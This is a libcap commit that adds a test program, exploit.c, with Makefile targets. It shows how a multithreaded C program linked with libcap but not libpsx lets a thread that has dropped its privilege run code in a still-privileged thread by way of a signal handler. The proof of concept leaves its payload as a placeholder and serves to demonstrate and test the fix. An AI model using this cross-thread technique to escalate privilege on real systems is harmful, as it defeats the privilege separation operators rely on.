aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAndrew G. Morgan <morgan@kernel.org>2020-10-24 20:57:11 -0700
committerAndrew G. Morgan <morgan@kernel.org>2020-10-24 21:00:59 -0700
commit481ca7b508ad0245468146343b1d3be94470a024 (patch)
tree3f039f29c1c6e12648eaaf167cb3a8c469f7b758
parenta614aa669d6ec0f12849f9a698f242cf89b44c6c (diff)
downloadlibcap-481ca7b508ad0245468146343b1d3be94470a024.tar.gz
Demonstrate why libpsx is important for multithreaded C code.
I've heard a number of folk ask why one might need libpsx for anything other than Go program linking, so this demonstrates the class of exploit that is possible when libcap is linked with -lpthread and not -lpsx. Signed-off-by: Andrew G. Morgan <morgan@kernel.org>
-rw-r--r--tests/.gitignore2
-rw-r--r--tests/Makefile22
-rw-r--r--tests/exploit.c154
3 files changed, 177 insertions, 1 deletions
diff --git a/tests/.gitignore b/tests/.gitignore
index 43118ef..ac7ffb0 100644
--- a/tests/.gitignore
+++ b/tests/.gitignore
@@ -3,3 +3,5 @@ psx_test
libcap_psx_test
libcap_launch_test
libcap_psx_launch_test
+exploit
+noexploit
diff --git a/tests/Makefile b/tests/Makefile
index 4d13441..9ab9766 100644
--- a/tests/Makefile
+++ b/tests/Makefile
@@ -26,7 +26,7 @@ $(DEPS):
test: run_libcap_psx_test
-sudotest: test run_psx_test run_libcap_launch_test run_libcap_psx_test
+sudotest: test run_psx_test run_libcap_launch_test run_libcap_psx_test run_exploit_test
install: all
@@ -49,6 +49,25 @@ run_libcap_launch_test: libcap_launch_test libcap_psx_launch_test noop
libcap_launch_test: libcap_launch_test.c $(DEPS)
$(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LINKEXTRA) $(LIBCAPLIB) $(LDFLAGS)
+# This test demonstrates that libpsx is needed to secure multithreaded programs
+# that link against libcap.
+run_exploit_test: exploit noexploit
+ @echo exploit should succeed
+ sudo ./exploit ; if [[ $$? -ne 0 ]]; then exit 0; else exit 1 ; fi
+ @echo exploit should fail
+ sudo ./noexploit ; if [[ $$? -eq 0 ]]; then exit 0; else exit 1 ; fi
+
+exploit.o: exploit.c
+ $(CC) $(CFLAGS) $(IPATH) -c $<
+
+exploit: exploit.o $(DEPS)
+ $(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LINKEXTRA) $(LIBCAPLIB) -lpthread $(LDFLAGS)
+
+# Note, for some reason, the order of libraries is important to avoid the exploit working
+# for dynamic linking.
+noexploit: exploit.o $(DEPS)
+ $(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LINKEXTRA) $(LIBPSXLIB) $(LIBCAPLIB) $(LDFLAGS)
+
# this varies only slightly from the above insofar as it currently
# only links in the pthreads fork support. TODO() we need to change
# the source to do something interesting with pthreads.
@@ -62,3 +81,4 @@ noop: noop.c
clean:
rm -f psx_test libcap_psx_test libcap_launch_test *~
rm -f libcap_launch_test libcap_psx_launch_test core noop
+ rm -f exploit noexploit exploit.o
diff --git a/tests/exploit.c b/tests/exploit.c
new file mode 100644
index 0000000..28bac88
--- /dev/null
+++ b/tests/exploit.c
@@ -0,0 +1,154 @@
+/*
+ * Copyright (c) 2020 Andrew G Morgan <morgan@kernel.org>
+ *
+ * This program exploit demonstrates why libcap alone in a
+ * multithreaded C/C++ program is inherently vulnerable to privilege
+ * escalation.
+ *
+ * The code also serves as a demonstration of how linking with libpsx
+ * can eliminate this vulnerability by maintaining a process wide
+ * common security state.
+ *
+ * The basic idea (which is well known and why POSIX stipulates "posix
+ * semantics" for security relevant state at the abstraction of a
+ * process) is that, because of shared memory, if a single thread alone
+ * is vulnerable to code injection, then it can cause any other thread
+ * to execute arbitrary code. As such, if all but one thread drops
+ * privilege, privilege escalation is somewhat trivial.
+ */
+#include <pthread.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/capability.h>
+#include <sys/types.h>
+
+/* thread coordination */
+pthread_mutex_t mu;
+pthread_cond_t cond;
+int hits;
+
+/* evidence of highest privilege attained */
+ssize_t greatest_len;
+char *text;
+
+/*
+ * interrupt handler - potentially watching for an opportunity to
+ * perform an exploit when invoked as a privileged thread.
+ */
+static void handler(int signum, siginfo_t *info, void *ignore) {
+ ssize_t length;
+ char *working;
+ pthread_mutex_lock(&mu);
+
+ cap_t caps = cap_get_proc();
+ working = cap_to_text(caps, &length);
+ if (length > greatest_len) {
+ /*
+ * This is where the exploit code might go.
+ */
+ cap_free(text);
+ text = working;
+ greatest_len = length;
+ }
+ cap_free(caps);
+ hits++;
+
+ pthread_cond_signal(&cond);
+ pthread_mutex_unlock(&mu);
+
+}
+
+/*
+ * privileged thread code (imagine it doing whatever needs privilege).
+ */
+static void *victim(void *args) {
+ pthread_mutex_lock(&mu);
+ hits = 1;
+ printf("started privileged thread\n");
+ pthread_cond_signal(&cond);
+ pthread_mutex_unlock(&mu);
+
+ pthread_mutex_lock(&mu);
+ while (hits < 2) {
+ pthread_cond_wait(&cond, &mu);
+ }
+ pthread_mutex_unlock(&mu);
+
+ return NULL;
+}
+
+int main(int argc, char **argv) {
+ pthread_t peer;
+ cap_t caps = cap_init();
+ struct sigaction sig_action;
+
+ printf("program starting\n");
+ if (pthread_create(&peer, NULL, victim, NULL)) {
+ perror("unable to start the victim thread");
+ exit(1);
+ }
+
+ /*
+ * Wait until the peer thread is fully up.
+ */
+ pthread_mutex_lock(&mu);
+ while (hits < 1) {
+ pthread_cond_wait(&cond, &mu);
+ }
+ pthread_mutex_unlock(&mu);
+
+ printf("dropping privilege from main process thread\n");
+
+ if (cap_set_proc(caps)) {
+ perror("unable to drop capabilities from main process thread");
+ exit(1);
+ }
+ cap_free(caps);
+
+ /* confirm the low privilege of the process' main thread */
+
+ caps = cap_get_proc();
+ text = cap_to_text(caps, &greatest_len);
+ cap_free(caps);
+
+ printf("no privilege in main process thread: len:%ld, caps:\"%s\"\n",
+ greatest_len, text);
+ if (greatest_len != 1) {
+ printf("failed to lower privilege as expected\n");
+ exit(1);
+ }
+
+ /*
+ * So, we have confirmed that this running thread has no
+ * privilege. From this thread we setup an interrupt handler and
+ * then trigger it on the privileged peer thread.
+ */
+
+ sig_action.sa_sigaction = &handler;
+ sigemptyset(&sig_action.sa_mask);
+ sig_action.sa_flags = SA_SIGINFO | SA_RESTART;;
+ sigaction(SIGRTMIN, &sig_action, NULL);
+
+ pthread_kill(peer, SIGRTMIN);
+
+ /*
+ * Wait for the thread to exit.
+ */
+ pthread_join(peer, NULL);
+
+ /*
+ * Let's see how we did with the exploit.
+ */
+
+ printf("greatest privilege in main process thread: len:%ld, caps:\"%s\"\n",
+ greatest_len, text);
+
+ cap_free(text);
+ if (greatest_len != 1) {
+ printf("exploit succeeded\n");
+ exit(1);
+ } else {
+ printf("exploit failed\n");
+ }
+}